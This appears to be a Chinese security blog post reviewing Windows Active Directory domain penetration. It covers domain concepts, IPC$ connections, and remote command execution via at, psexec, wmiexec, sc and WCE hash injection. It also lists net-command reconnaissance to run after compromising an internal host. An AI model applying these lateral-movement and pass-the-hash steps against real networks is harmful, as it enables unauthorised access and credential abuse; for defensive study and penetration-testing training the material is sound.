之前写过一篇内网当中域渗透的简单文章。好久没遇到忘得差不多了。前几天做项目,正好碰到了域环境,正好有时间,再回顾一下原来的知识,另外把新补充的知识再记录一下。

域相关知识

什么是域

域英文叫DOMAIN——域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后,2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理,以及相互通信和数据传输。
域既是 Windows 网络操作系统的逻辑组织单元,也是Internet的逻辑组织单元,在 Windows 网络操作系统中,域是安全边界。域管理员只能管理域的内部,除非其他的域显式地赋予他管理权限,他才能够访问或者管理其他的域,每个域都有自己的安全策略,以及它与其他域的安全信任关系。
如果企业网络中计算机和用户数量较多时,要实现高效管理,就需要windows域。

域相关概念

活动目录是由组织单元、域(domain)、域树(tree)、森林(forest)构成的层次结构。作为最基本的管理单元,同时也是最基层的容器,它可以对员工、计算机等基本数据进行存储。在一个活动目录中可以根据需要建立多个域,比方说“甲公司”的财务科、人事科、销售科就可以各建一个域,因为这几个域同属甲公司,所以就可以将这几个域构成一棵域树并交给域树管理,这棵域树就是甲公司。又因为,甲公司、乙公司、丙公司都归属A集团,那么为了让A集团可以更好地管理这三家子公司,就可以将这三家公司的域树集中起来组成域森林(即A集团)。因此A集团可以按“子公司(域树)→部门→员工”的方式进行层次分明的管理。活动目录这种层次结构使企业网络具有极强的扩展性,便于组织、管理以及目录定位。

域的搭建过程

  1. 域控制器安装(win server系统)

   先安装一个DNS——安装active directory(注:装这两个都需要系统光盘或镜像;安装active directory时相关的信息选择和命令要按自己的需求来)
   装好后开始——管理工具,打开active directory用户和计算机——新建用户(密码选永不过期)——在域中设置委派控制(对象为前面建的用户)——完成域控制器就建好了

  1. 电脑加入域

   设置成与域控制器在同一个网段,然后右击“我的电脑”——属性——计算机名——更改——选“域”然后输入你建的域的域名重启就行了(注:这台电脑的计算机名要先在添加到域控制器中去)

参考:

> AD域环境的搭建 基于Server 2008 R2: http://www.it165.net/os/html/201306/5493.html

> Acitve Directory 域环境的搭建: http://blog.sina.com.cn/s/blog_6ce0f2c901014okt.html

什么是ipc$连接

ipc$概念

IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。

ipc$的作用

利用IPC$,连接者甚至可以与目标主机建立一个连接,利用这个连接,连接者可以得到目标主机上的目录结构、用户列表等信息。

ipc$的利用条件

  1. 139,445端口开启。

   ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.

  1. 管理员开启了默认共享。

   默认共享是为了方便管理员远程管理而默认开启的共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问。

ipc连接失败的原因

  1. 你的系统不是NT或以上操作系统.
  2. 对方没有打开ipc$默认共享。
  3. 不能成功连接目标的139,445端口.
  4. 命令输入错误.
  5. 用户名或密码错误.

常见错误号:

  1. 错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
  2. 错误号51,Windows 无法找到网络路径 : 网络有问题;
  3. 错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
  4. 错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$; 错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
  5. 错误号1326,未知的用户名或错误密码 : 原因很明显了;
  6. 错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
  7. 错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。

域内的文件操作

利用IPC$

建立ipc连接以后,就可以访问目标机器的文件(上传、下载),也可以在目标机器上运行命令。

上传和下载文件直接通过copy命令就可以,不过路径换成UNC路径。

何为UNC路径?简单来讲以\开头的路径就是UNC路径,比如\192.168.1.2\c$\boot.ini。

如果要从本地当前目录上传1.bat到192.168.1.2机器C盘根目录下,那么命令就是
copy 1.bat \\192.168.1.2\C$\

反之就是下载。dir、copy、xcopy、move、type的参数都可以使用UNC路径。

利用Telnet

服务端:nc -lvp 23 < nc.exe

下载端:telnet ip -f c:\nc.exe

利用文件共享

映射目标
net use x: \\[目标IP]\[地址] [域用户password] /user:[域]\[username]

域内运行命令

利用计划任务

at \\192.168.200.100 15:00 c:\hack.bat

psexec

psexec针对远程建立连接的认证方式有两种,一种先建立ipc连接,然后直接用psexec \192.168.200.100 cmd命令开启一个半交互式的cmdshell,另一种是在psexec的参数中指定账号密码。
参数:

> -s 参数用来以system权限执行
>
> –accepteula 绕过第一次运行的弹窗
>
> -c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)
>
> -d 不等待程序执行完就返回

psexec \\192.168.1.2 c:\hack.bat

wmiexec

T00ls大牛写的一款工具。早就传开了。
半交互模式:
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password

单个命令执行的模式:
cscript.exe wmiexec.vbs /cmd 192.168.1.1 username password &quot;command&quot;

如果有时候我们抓取到的是hash,破解不了时可以利用WCE的hash注入,然后再执行WMIEXEC(不提供账号密码)就可以了。

cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1  
wce -s [hash] 
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1

SC创建服务执行

1、系统权限(其中test为服务名)
sc \\DC1 create test binpath= c:\cmd.exe
sc \\DC1 start test
sc \\DC1 delete test

2.指定用户权限启动
sc \\DC1 create test binpath = "c:\1.exe" obj= "centoso\administrator" passwrod= test
sc \\DC1 start test

hash相关知识

windows的密码是经过hash后存储的,本地存在sam,system注册表中,域里面存在ntds.dit中。密码hash有两种格式,LM hash和NT hash。

| 2000 | xp | 2003 | Vista | win7 | 2008 | 2012 |

前面三个默认是LM hash,当密码超过14位时候会采用NTLM加密

test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248:::

前一部分是LM Hash,后一部分是NTLM Hash 当LM Hash是AAD3B435B51404EEAAD3B435B51404EE 这表示空密码或者是未使用LM_HASH

LMhash可以用在线网站秒破: http://www.objectif-securite.ch/en/ophcrack.php

判定是否在域内

拿下内网当中的一台主机后,首先要判断所控主机是否在域内。这里记录集中验证的方法。

net time /domain

  • 存在域不确定,但当前用户不是域用户。
      

  • 存在域,且当前用户是域用户会从域控返回当前时间。
      

  • 不存在域。
      

  ### net config workstation

systeminfo

ipconfig /all

域内信息收集

  • net user /domain 查看域用户
      
  • net view /domain 查看有几个域
      
  • net view /domain:XXX 查看此域内电脑
      
  • net group /domain 查询域里面的组
      
  • net group “domain computers” /domain 查看加入到域内的所有计算机名
      
  • net group “domain admins” /domain 查看域管理员
      
  • net group “domain controllers” /domain 查看域控制器
      
  • net user hacker /domain 获得指定账户的详细信息
      
  • net accounts /domain 获得域密码策略设置,密码长短,错误锁定等信息
      

以上命令都是最简单的获取信息命令,只能获取最基本的信息。

更详细的信息需要用到其他的工具和利用姿势。以后再慢慢写。

##本地用户与域用户
拿到一台主机权限后,有两种可能:

  1. 本地用户
      
  2. 域用户
      
       一般本地用户的administrator可以直接提升为ntauthority\system,SYSTEM用户权限。

在这三种情况中,本地用户是无法运行之前说的所有命令的,因为本质上所有查询都是通过ldap协议去域控制器上查询,这个查询需要经 过权限认证,只有域用户才有这个权限。当域用户运行查询命令时,会自动使用kerberos协议认证,无需额外输入账号密码。SYSTEM用户的情况比较特殊,在域中,除了普通用户外,所有机器都有一个机器用户,用户名是机器名后加$,本 质上机器上的SYSTEM用户对应的就是域里面的机器用户,所以SYSTEM权限是可以运行之前说的查询命令的。

点击收藏 | 7 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖